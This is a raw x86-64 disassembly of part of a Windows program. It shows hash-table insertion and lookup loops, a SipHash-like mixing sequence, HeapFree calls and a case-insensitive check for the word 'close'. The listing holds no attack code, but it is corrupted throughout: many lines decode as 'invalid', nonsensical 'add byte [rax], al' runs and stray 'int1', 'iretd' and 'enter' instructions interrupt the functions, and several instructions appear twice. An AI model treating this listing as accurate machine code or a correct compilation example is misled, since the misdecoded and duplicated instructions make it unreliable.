mov qword [rsp + 0x7d0], 0
mov qword [rsp + 0x7d8], rbp
mov qword [rsp + 0x7e0], r14
mov qword [rsp + 0x7e8], rbp
mov qword [rsp + 0x7f0], 0
mov qword [rsp + 0x7f8], rbp
movabs rax, 0x2c0000002c
mov qword [rsp + 0x800], rax
mov byte [rsp + 0x808], 1
mov word [rsp + 0x810], 1
nop word cs:[rax + rax]
mov rcx, r12
call fcn.140037730
test rax, rax
je 0x14007fc3e
mov rcx, rax
call fcn.1400532b0
cmp rdx, 5
jne 0x140080040
movzx ecx, byte [rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x63
jne 0x140080040
movzx ecx, byte [rax + 1]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6c
jne 0x140080040
movzx ecx, byte [rax + 2]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6f
jne 0x140080040
movzx ecx, byte [rax + 3]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x73
jne 0x140080040
movzx eax, byte [rax + 4]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x65
jne 0x140080040
invalid
inc edi
test byte [rsp + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
push 0x48000001
cmp esi, 3
mov dword [rsp + 0xa4], 0
mov rsi, qword [rsp + 0x168]
cmp rsi, 3
jne 0x14007fc59
jmp 0x140080d0b
mov rax, r15
shr rax, 1
mov ecx, r15d
and ecx, 1
or rcx, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
test r14, r14
js 0x14007fd81
cvtsi2ss xmm1, r14
divss xmm0, xmm1
ucomiss xmm0, xmm11
jae 0x14007fda7
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xa0], 0
jne 0x140080150
call fcn.14002e060
mov qword [rsp + 0x168], 2
mov eax, dword [0x140182314]
add eax, 0x1021b2
add eax, 0x1021b2
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movdqu xmm0, xmmword [rax + 0xa8]
inc qword [rax + 0xa8]
movdqu xmmword [rsp + 0x170], xmm0
mov rsi, qword [rsp + 0x1b0]
test r14, r14
je 0x1400801ef
lea rcx, [r14 - 1]
movabs rax, 0x3fffffffffffffff
and rcx, rax
mov rax, rsi
cmp rcx, 7
jb 0x1400801d9
inc rcx
mov rdx, rcx
and rdx, 0xfffffffffffffff8
lea rax, [rsi + rdx*4]
xor r8d, r8d
nop
movups xmmword [rsi + r8*4], xmm9
movups xmmword [rsi + r8*4 + 0x10], xmm9
add r8, 8
cmp rdx, r8
jne 0x1400801c0
cmp rcx, rdx
je 0x1400801ef
lea rcx, [rsi + r14*4]
nop dword [rax]
mov dword [rax], 0xffff
add rax, 4
cmp rax, rcx
jne 0x1400801e0
test r15, r15
je 0x14007fdeb
mov rbx, qword [rsp + 0x188]
lea rax, [r15 + r15*2]
shl rax, 5
add rax, rbx
mov qword [rsp + 0x40], rax
movzx eax, word [rsp + 0x1c0]
movzx r12d, ax
xor r13d, r13d
jmp 0x140080244
mov word [rsi + rcx*4], bp
mov word [rsi + rcx*4 + 2], ax
cmp rbx, qword [rsp + 0x40]
je 0x14007fdeb
cmpsd dword [rsi], dword [rdi]
sti
invalid
invalid
cmpsd dword [rsi], dword [rdi]
sti
invalid
mov rbp, r13
mov r15, rbx
add rbx, 0x60
inc r13
lea rdx, [r15 + 0x38]
lea rcx, [rsp + 0x168]
call fcn.140038000
mov r8d, eax
and r8d, r12d
mov word [r15 + 0x58], ax
xor edx, edx
nop
mov rcx, r8
mov r8d, 0
cmp rcx, r14
jae 0x140080270
cmp word [rsi + rcx*4], 0xffff
je 0x140080230
movzx r8d, word [rsi + rcx*4 + 2]
and r8d, r12d
mov r9d, ecx
sub r9d, r8d
mov r8d, r12d
and r8d, r9d
cmp r8, rdx
jb case.0x140018f24.2235
inc rdx
inc rcx
mov r8, rcx
jmp 0x140080270
movzx r8d, word [rsi + rdx*4 + 2]
mov word [rsi + rdx*4], bp
mov word [rsi + rdx*4 + 2], ax
inc rdx
mov eax, r8d
mov ebp, ecx
mov rcx, rdx
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov rdx, rcx
mov ecx, 0
cmp rdx, r14
jae case.0x140018f24.2235
movzx ecx, word [rsi + rdx*4]
cmp cx, 0xffff
jne 0x1400802aa
mov word [rsi + rdx*4], bp
mov rcx, rdx
mov word [rsi + rcx*4 + 2], ax
cmp rbx, qword [rsp + 0x40]
jne 0x140080244
jmp 0x14007fdeb
movzx eax, byte [rsp + 0x438]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x260], rax
mov r8d, 8
lea rcx, [rsp + 0x7d0]
lea rdx, [rsp + 0x260]
call fcn.140007050
mov rax, qword [rsp + 0x7e0]
mov r9, qword [rsp + 0x800]
shl r9, 0x38
or r9, qword [rsp + 0x808]
mov rcx, qword [rsp + 0x7e8]
mov r8, qword [rsp + 0x7d0]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x7d8]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
add rdx, rcx
shl rcx, 0x10
xor rcx, rdx
shr rcx, 0x2b
add rdx, rax
shr rax, 0x2f
xor rax, rcx
mov r11, rdx
shr r11, 0x20
xor r11, rdx
xor r11, rax
mov r10, rsi
jmp 0x1400805b7
movzx ecx, byte [rsp + 0x438]
mov qword [rsp + 0xb0], rcx
xor r11, rcx
imul r11, rax
xor r10d, r10d
jmp 0x1400805b7
mov word [rsp + 0x1c0], 7
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008551f
mov rbx, rax
movups xmmword [rax], xmm9
movups xmmword [rax + 0x10], xmm9
test r14, r14
je 0x1400804ab
mov r8, qword [rsp + 0x1b0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x1b0], rbx
mov qword [rsp + 0x1b8], 8
movzx eax, byte [0x140182310]
mov edx, 0x240
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008552e
mov rbx, rax
cmp qword [rsp + 0x180], 0
je 0x140080500
mov r8, qword [rsp + 0x188]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x180], 6
mov qword [rsp + 0x188], rbx
mov qword [rsp + 0x190], 0
jmp 0x14007fdeb
mov rdx, r11
mov rax, qword [rsp + 0xb0]
cmp r8, 8
jb 0x1400805b4
mov rcx, qword [rsp + 0xb0]
add rcx, r8
nop word cs:[rax + rax]
movzx r8d, byte [rax]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 1]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 2]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 3]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 4]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 5]
xor rdx, r8
imul rdx, r9
movzx r8d, byte [rax + 6]
xor r8, rdx
imul r8, r9
movzx edx, byte [rax + 7]
add rax, 8
xor rdx, r8
imul rdx, r9
cmp rax, rcx
jne 0x140080550
mov r11, rdx
and r11d, 0x7fff
movzx r12d, word [rsp + 0x1c0]
mov ebp, r11d
and ebp, r12d
mov r14, qword [rsp + 0x1b8]
mov rbx, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x190]
mov rax, qword [rsp + 0x438]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x440]
mov qword [rsp + 0xa8], rax
xor r13d, r13d
mov qword [rsp + 0xb8], r11
mov qword [rsp + 0x138], rdx
mov qword [rsp + 0x450], r10
jmp 0x140080646
mov rcx, qword [rsp + 0xb0]
cmp byte [rax + 8], cl
je 0x140080720
inc r13
inc rbp
mov rax, rbp
nop dword [rax]
mov rbp, rax
mov eax, 0
cmp rbp, r14
jae 0x140080650
movzx r15d, word [rbx + rbp*4]
cmp r15, 0xffff
je 0x14008080f
movzx eax, word [rbx + rbp*4 + 2]
mov ecx, r12d
and ecx, eax
mov r8d, ebp
sub r8d, ecx
and r8d, r12d
cmp r8, r13
jb 0x14008088a
cmp ax, r11w
jne 0x140080640
cmp rdx, r15
jbe 0x140084c95
test r10, r10
sete r9b
lea rsi, [r15 + r15*2]
mov eax, esi
shl eax, 5
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rcx + rax + 0x38]
test rcx, rcx
setne r8b
cmp r8b, r9b
je 0x140080640
mov r8, qword [rsp + 0x40]
add rax, r8
add rax, 0x38
test rcx, rcx
je 0x14008062f
mov rcx, qword [rsp + 0xa8]
cmp qword [rax + 0x10], rcx
jne 0x140080640
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x130]
mov r8, qword [rsp + 0xa8]
call fcn.140106bb0
mov rdx, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov r10, qword [rsp + 0x450]
test eax, eax
jne 0x140080640
shl esi, 5
mov rax, qword [rsp + 0x40]
lea r14, [rax + rsi]
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x7e0], xmm1
movaps xmmword [rsp + 0x7d0], xmm0
cmp qword [rax + rsi], 0
je 0x140081499
mov rbx, qword [r14 + 0x10]
mov rsi, qword [rsp + 0x1a8]
mov rdx, rsi
cmp rsi, qword [rsp + 0x198]
mov r13, qword [rsp + 0x410]
mov rbp, qword [rsp + 0x408]
jne 0x140080795
lea rcx, [rsp + 0x198]
call fcn.14003aaa0
mov rdx, qword [rsp + 0x1a8]
mov rax, qword [rsp + 0x1a0]
mov rcx, rdx
shl rcx, 6
mov qword [rax + rcx], 1
mov qword [rax + rcx + 8], rbx
mov qword [rax + rcx + 0x10], 0
mov qword [rax + rcx + 0x18], r15
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movdqu xmmword [rax + rcx + 0x20], xmm0
movdqu xmmword [rax + rcx + 0x30], xmm1
inc rdx
mov qword [rsp + 0x1a8], rdx
cmp rbx, rdx
jae 0x140084cf5
shl rbx, 6
mov qword [rax + rbx + 0x10], 1
mov qword [rax + rbx + 0x18], rsi
mov qword [r14], 1
jmp 0x140081531
test r10, r10
je 0x140080914
lea rcx, [rsp + 0x7d0]
lea rdx, [rsp + 0x448]
mov r8, qword [rsp + 0x130]
mov r9, qword [rsp + 0xa8]
call qword [r10]
mov rdx, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0x7d0]
movzx ecx, byte [rsp + 0x7d8]
lea rax, [rsp + 0x808]
movdqu xmm0, xmmword [rax - 0x2f]
movdqa xmmword [rsp + 0x260], xmm0
mov rax, qword [rax - 0x20]
mov qword [rsp + 0x26f], rax
mov r15, qword [rsp + 0x230]
jmp 0x140080926
cmp r13, 0x200
setae r15b
cmp dword [rsp + 0x628], 2
setne r12b
test r10, r10
je 0x140080ad8
lea rcx, [rsp + 0x7d0]
lea rdx, [rsp + 0x448]
mov r8, qword [rsp + 0x130]
mov r9, qword [rsp + 0xa8]
call qword [r10]
mov rdx, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov r13, qword [rsp + 0x7d0]
movzx ecx, byte [rsp + 0x7d8]
lea rax, [rsp + 0x808]
movdqu xmm0, xmmword [rax - 0x2f]
movdqa xmmword [rsp + 0x260], xmm0
mov rax, qword [rax - 0x20]
mov qword [rsp + 0x26f], rax
jmp 0x140080ae3
xor ebx, ebx
mov r15, qword [rsp + 0x230]
mov rcx, qword [rsp + 0x130]
mov qword [rsp + 0x70], rbx
mov byte [rsp + 0x78], cl
mov rax, qword [rsp + 0x26f]
lea rcx, [rsp + 0x80]
mov qword [rcx + 8], rax
movaps xmm0, xmmword [rsp + 0x260]
movups xmmword [rcx - 7], xmm0
movdqa xmm0, xmmword [rsp + 0xe0]
movdqa xmm1, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x4c0], xmm1
movdqa xmmword [rsp + 0x4b0], xmm0
cmp rdx, 0x7fff
add byte [rax], al
add byte [rax], al
ja 0x1400852c2
mov r10, rdx
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x260], rax
mov byte [rsp + 0x268], cl
mov dword [rsp + 0x269], edx
mov word [rsp + 0x26d], r8w
mov byte [rsp + 0x26f], r9b
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x7d0], xmm0
movaps xmmword [rsp + 0x7e0], xmm1
mov rax, r10
cmp r10, qword [rsp + 0x180]
mov rdx, r10
sal byte [rbp + 0x3a], cl
sal byte [rbp + 0x3a], cl
lea rcx, [rsp + 0x180]
call fcn.14003a9e0
mov rdx, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x190]
mov r14, qword [rsp + 0x1b8]
add byte [rcx], 0
add al, ch
iretd
lea rcx, [rax + rax*2]
shl rcx, 5
mov r8, qword [rsp + 0x40]
mov qword [r8 + rcx], 0
movaps xmm0, xmmword [rsp + 0x7d0]
movaps xmm1, xmmword [rsp + 0x7e0]
movups xmmword [r8 + rcx + 0x18], xmm0
movups xmmword [r8 + rcx + 0x28], xmm1
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmm1, xmmword [rsp + 0x270]
movdqu xmmword [r8 + rcx + 0x38], xmm0
movdqu xmmword [r8 + rcx + 0x48], xmm1
mov word [r8 + rcx + 0x58], r11w
inc rax
mov qword [rsp + 0x190], rax
cmp rbp, r14
mov rbx, qword [rsp + 0x98]
jae 0x140084cb6
mov rax, qword [rsp + 0x1b0]
mov word [rax + rbp*4], dx
mov word [rax + rbp*4 + 2], r11w
mov r13, qword [rsp + 0x410]
mov rbp, qword [rsp + 0x408]
jmp 0x140080d03
xor r13d, r13d
mov rcx, qword [rsp + 0x130]
mov qword [rsp + 0x70], r13
mov byte [rsp + 0x78], cl
mov rax, qword [rsp + 0x26f]
lea rcx, [rsp + 0x80]
mov qword [rcx + 8], rax
movaps xmm0, xmmword [rsp + 0x260]
movups xmmword [rcx - 7], xmm0
movdqa xmm0, xmmword [rsp + 0xe0]
movdqa xmm1, xmmword [rsp + 0xf0]
movdqa xmmword [rsp + 0x4c0], xmm1
movdqa xmmword [rsp + 0x4b0], xmm0
cmp rdx, 0x7fff
ja 0x140085361
mov r10, rdx
mov rax, qword [rsp + 0x70]
movzx ecx, byte [rsp + 0x78]
mov edx, dword [rsp + 0x79]
movzx r8d, word [rsp + 0x7d]
movzx r9d, byte [rsp + 0x7f]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x260], rax
mov byte [rsp + 0x268], cl
mov dword [rsp + 0x269], edx
mov word [rsp + 0x26d], r8w
mov byte [rsp + 0x26f], r9b
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x7d0], xmm0
movaps xmmword [rsp + 0x7e0], xmm1
mov rax, r10
cmp r10, qword [rsp + 0x180]
mov r9, r10
jne 0x140080c03
lea rcx, [rsp + 0x180]
call fcn.14003a9e0
mov r9, qword [rsp + 0x138]
mov r11, qword [rsp + 0xb8]
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x190]
mov rbx, qword [rsp + 0x1b0]
mov r14, qword [rsp + 0x1b8]
and r15b, r12b
lea rcx, [rax + rax*2]
shl rcx, 5
mov rdx, qword [rsp + 0x40]
mov qword [rdx + rcx], 0
movaps xmm0, xmmword [rsp + 0x7d0]
movaps xmm1, xmmword [rsp + 0x7e0]
movups xmmword [rdx + rcx + 0x18], xmm0
movups xmmword [rdx + rcx + 0x28], xmm1
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmm1, xmmword [rsp + 0x270]
movdqu xmmword [rdx + rcx + 0x38], xmm0
movdqu xmmword [rdx + rcx + 0x48], xmm1
mov word [rdx + rcx + 0x58], r11w
inc rax
mov qword [rsp + 0x190], rax
xor eax, eax
nop word cs:[rax + rax]
mov rcx, rbp
mov ebp, 0
cmp rcx, r14
jae 0x140080c70
movzx edx, word [rbx + rcx*4]
cmp dx, 0xffff
je 0x140080ca9
inc rax
movzx r8d, word [rbx + rcx*4 + 2]
mov word [rbx + rcx*4], r9w
mov word [rbx + rcx*4 + 2], r11w
inc rcx
mov r11d, r8d
mov r9d, edx
mov rbp, rcx
jmp 0x140080c70
mov word [rbx + rcx*4], r9w
mov word [rbx + rcx*4 + 2], r11w
mov rcx, qword [rsp + 0x168]
test rcx, rcx
mov rdx, rcx
mov r8d, 1
cmove rdx, r8
cmp rax, 0x7f
cmova rcx, rdx
test r15b, r15b
cmovne rcx, rdx
mov qword [rsp + 0x168], rcx
mov rbx, qword [rsp + 0x98]
mov r13, qword [rsp + 0x410]
mov rbp, qword [rsp + 0x408]
mov r15, qword [rsp + 0x230]
mov r14, qword [rsp + 0x640]
movdqu xmm0, xmmword [rsp + 0x430]
movdqu xmm1, xmmword [rsp + 0x440]
movdqa xmmword [rsp + 0x150], xmm1
movdqa xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x4b0], r13
mov qword [rsp + 0x4b8], r14
mov qword [rsp + 0x4c0], rbp
mov qword [rsp + 0x4c8], r15
mov byte [rsp + 0x4d0], 0
mov eax, dword [rsp + 0x609]
and al, 9
invalid
add byte [rax], al
mov ecx, dword [rsp + 0x60c]
and al, 0xc
invalid
add byte [rax], al
lea rdx, [rsp + 0x4c8]
mov dword [rdx + 0xc], ecx
mov dword [rdx + 9], eax
lea rsi, [rsp + 0x340]
add eax, dword [rax]
add byte [rax - 0x77], cl
int1
and al, 9
invalid
and al, 0xc
invalid
add eax, dword [rax]
add byte [rax - 0x77], cl
int1
call fcn.140038610
test al, al
jne 0x140085089
add rbx, 0x20
mov qword [rsp + 0x98], rbx
mov rcx, rsi
lea rdx, [rsp + 0x140]
call fcn.140038000
mov r9d, eax
movzx esi, word [rsp + 0x398]
mov r13d, r9d
and r13d, esi
mov r15, qword [rsp + 0x390]
mov r12, qword [rsp + 0x388]
mov r10, qword [rsp + 0x360]
mov rdx, qword [rsp + 0x368]
mov r11, qword [rsp + 0x140]
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x450], rax
movzx eax, byte [rsp + 0x148]
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x150]
test byte [rax + rdx*2], ah
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rsp + 0x40], eax
test byte [rax + rdx*2], ah
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x40], eax
xor r14d, r14d
mov dword [rsp + 0xa8], r9d
mov qword [rsp + 0xb8], rdx
mov qword [rsp + 0x130], r10
mov qword [rsp + 0xb0], r11
jmp 0x140080e56
movzx ecx, byte [rsp + 0x138]
cmp byte [rax + 8], cl
je 0x140080f23
nop word cs:[rax + rax]
inc r14
inc r13
mov rax, r13
nop dword [rax]
mov r13, rax
mov eax, 0
cmp r13, r15
jae 0x140080e60
movzx ebx, word [r12 + r13*4]
cmp rbx, 0xffff
je 0x140081020
movzx eax, word [r12 + r13*4 + 2]
mov ecx, esi
and ecx, eax
mov r8d, r13d
sub r8d, ecx
and r8d, esi
cmp r8, r14
jb 0x1400811a9
cmp ax, r9w
jne 0x140080e50
cmp rdx, rbx
jbe 0x140084c86
test r11, r11
sete al
imul rbp, rbx, 0x68
mov rcx, qword [r10 + rbp + 0x40]
test rcx, rcx
setne r8b
cmp r8b, al
je 0x140080e50
lea rax, [r10 + rbp]
add rax, 0x40
test rcx, rcx
je 0x140080e31
mov rcx, qword [rsp + 0x40]
cmp qword [rax + 0x10], rcx
jne 0x140080e50
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x450]
mov r8, qword [rsp + 0x40]
call fcn.140106bb0
mov r11, qword [rsp + 0xb0]
mov r10, qword [rsp + 0x130]
mov rdx, qword [rsp + 0xb8]
mov r9d, dword [rsp + 0xa8]
test eax, eax
jne 0x140080e50
lea rsi, [r10 + rbp]
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x7f0], rax
movups xmm0, xmmword [rsp + 0x4b0]
movups xmm1, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0x7e0], xmm1
movaps xmmword [rsp + 0x7d0], xmm0
cmp qword [r10 + rbp], 0
je 0x1400813bd
mov r14, qword [rsi + 0x10]
mov r15, qword [rsp + 0x380]
mov rdx, r15
cmp r15, qword [rsp + 0x370]
lea r12, [rsp + 0x7d0]
jne 0x140080f98
lea rcx, [rsp + 0x370]
call fcn.14003ab50
mov rdx, qword [rsp + 0x380]
mov rax, qword [rsp + 0x378]
lea rcx, [rdx + rdx*8]
mov qword [rax + rcx*8], 1
mov qword [rax + rcx*8 + 8], r14
mov qword [rax + rcx*8 + 0x10], 0
mov qword [rax + rcx*8 + 0x18], rbx
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movdqu xmmword [rax + rcx*8 + 0x20], xmm0
movdqu xmmword [rax + rcx*8 + 0x30], xmm1
mov r8, qword [rsp + 0x7f0]
mov qword [rax + rcx*8 + 0x40], r8
inc rdx
mov qword [rsp + 0x380], rdx
add eax, dword [rax]
add byte [rcx + 0x39], cl
invalid
add byte [rax], al
cmp r14, rdx
jae 0x140084cc8
lea rcx, [r14 + r14*8]
mov qword [rax + rcx*8 + 0x10], 1
mov qword [rax + rcx*8 + 0x18], r15
mov qword [rsi], 1
mov qword [rsi + 0x10], r15
jmp 0x14008145b
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x280], rax
movdqu xmm0, xmmword [rsp + 0x4b0]
movdqu xmm1, xmmword [rsp + 0x4c0]
movdqa xmmword [rsp + 0x270], xmm1
movdqa xmmword [rsp + 0x260], xmm0
cmp rdx, 0x7fff
ja 0x140085102
jg 0x140080ff2
and al, 0x70
add al, byte [rax]
add byte [rsi + 0xf], ah
jg 0x140080ff3
and al, 0x60
add al, byte [rax]
add byte [rax - 0x7f], cl
cli
invalid
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rsp + 0x4b0]
movups xmm1, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0x7d0], xmm0
movaps xmmword [rsp + 0x7e0], xmm1
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x7f0], rax
mov rax, rdx
cmp rdx, qword [rsp + 0x358]
lea r12, [rsp + 0x7d0]
mov rbx, qword [rsp + 0x98]
jne 0x140081120
lea rcx, [rsp + 0x358]
mov word [rax + rbx*2], fs
add eax, dword [rax]
add al, ch
call case.0x14002a2ab.1428
mov rdx, qword [rsp + 0xb8]
mov r9d, dword [rsp + 0xa8]
mov r10, qword [rsp + 0x360]
mov rax, qword [rsp + 0x368]
mov r15, qword [rsp + 0x390]
loope 0x1400810f3
dec dword [rax - 0x75]
xchg esp, eax
and al, 0xb8
add byte [rax], al
add byte [rbx + rcx*4 - 0x74], al
and al, 0xa8
add byte [rax], al
add byte [rbx + rcx*4 - 0x6c], cl
and al, 0x60
add eax, dword [rax]
add byte [rax - 0x75], cl
test byte [rax + rbp*2], ah
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x90
add eax, dword [rax]
add byte [rax + 0x6b], cl
enter 0x4968, 0xffffffffffffffc7
add al, 0xa
add byte [rax], al
add byte [rax], al
imul rcx, rax, 0x68
mov qword [r10 + rcx], 0
movaps xmm0, xmmword [rsp + 0x7d0]
movaps xmm1, xmmword [rsp + 0x7e0]
movups xmmword [r10 + rcx + 0x18], xmm0
movups xmmword [r10 + rcx + 0x28], xmm1
mov r8, qword [rsp + 0x7f0]
mov qword [r10 + rcx + 0x38], r8
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmmword [rsp + 0x80]
movdqu xmmword [r10 + rcx + 0x40], xmm0
movdqu xmmword [r10 + rcx + 0x50], xmm1
mov word [r10 + rcx + 0x60], r9w
inc rax
mov qword [rsp + 0x368], rax
cmp r13, r15
jae 0x140084ca4
mov rax, qword [rsp + 0x388]
mov word [rax + r13*4], dx
mov word [rax + r13*4 + 2], r9w
mov r15, qword [rsp + 0x30]
jmp 0x1400813aa
cmp r14, 0x200
setae bl
cmp qword [rsp + 0x340], 2
setne sil
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x280], rax
movdqu xmm0, xmmword [rsp + 0x4b0]
movdqu xmm1, xmmword [rsp + 0x4c0]
movdqa xmmword [rsp + 0x270], xmm1
movdqa xmmword [rsp + 0x260], xmm0
cmp rdx, 0x7fff
ja 0x140085102
movaps xmm0, xmmword [rsp + 0x140]
movaps xmm1, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rsp + 0x4b0]
movups xmm1, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0x7d0], xmm0
movaps xmmword [rsp + 0x7e0], xmm1
mov rax, qword [rsp + 0x4d0]
mov qword [rsp + 0x7f0], rax
mov rax, rdx
cmp rdx, qword [rsp + 0x358]
jne 0x1400812b8
lea rcx, [rsp + 0x358]
call case.0x14002a2ab.1428
mov rdx, qword [rsp + 0xb8]
mov r9d, dword [rsp + 0xa8]
mov r10, qword [rsp + 0x360]
mov rax, qword [rsp + 0x368]
mov r12, qword [rsp + 0x388]
mov r15, qword [rsp + 0x390]
and bl, sil
imul rcx, rax, 0x68
mov qword [r10 + rcx], 0
movaps xmm0, xmmword [rsp + 0x7d0]
movaps xmm1, xmmword [rsp + 0x7e0]
movups xmmword [r10 + rcx + 0x18], xmm0
movups xmmword [r10 + rcx + 0x28], xmm1
mov r8, qword [rsp + 0x7f0]
mov qword [r10 + rcx + 0x38], r8
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmmword [rsp + 0x80]
movdqu xmmword [r10 + rcx + 0x40], xmm0
movdqu xmmword [r10 + rcx + 0x50], xmm1
mov word [r10 + rcx + 0x60], r9w
inc rax
mov qword [rsp + 0x368], rax
xor eax, eax
mov rcx, r13
mov r13d, 0
cmp rcx, r15
jae 0x140081320
movzx r10d, word [r12 + rcx*4]
cmp r10w, 0xffff
je 0x14008135c
inc rax
movzx r8d, word [r12 + rcx*4 + 2]
mov word [r12 + rcx*4], dx
mov word [r12 + rcx*4 + 2], r9w
inc rcx
mov r9d, r8d
mov edx, r10d
mov r13, rcx
jmp 0x140081320
mov word [r12 + rcx*4], dx
mov word [r12 + rcx*4 + 2], r9w
mov rcx, qword [rsp + 0x340]
test rcx, rcx
mov rdx, rcx
mov r8d, 1
cmove rdx, r8
cmp rax, 0x7f
cmova rcx, rdx
test bl, bl
cmovne rcx, rdx
mov qword [rsp + 0x340], rcx
lea r12, [rsp + 0x7d0]
mov r15, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x98]
cmp rbx, qword [rsp + 0x660]
jne 0x14007f716
jmp 0x1400815ab
mov r14, qword [rsp + 0x380]
mov rax, r14
cmp r14, qword [rsp + 0x370]
lea r12, [rsp + 0x7d0]
jne 0x1400813ef
lea rcx, [rsp + 0x370]
call fcn.14003ab50
mov rax, qword [rsp + 0x380]
mov rcx, qword [rsp + 0x378]
lea rdx, [rax + rax*8]
mov qword [rcx + rdx*8], 0
mov qword [rcx + rdx*8 + 8], rbx
mov qword [rcx + rdx*8 + 0x10], 0
mov qword [rcx + rdx*8 + 0x18], rbx
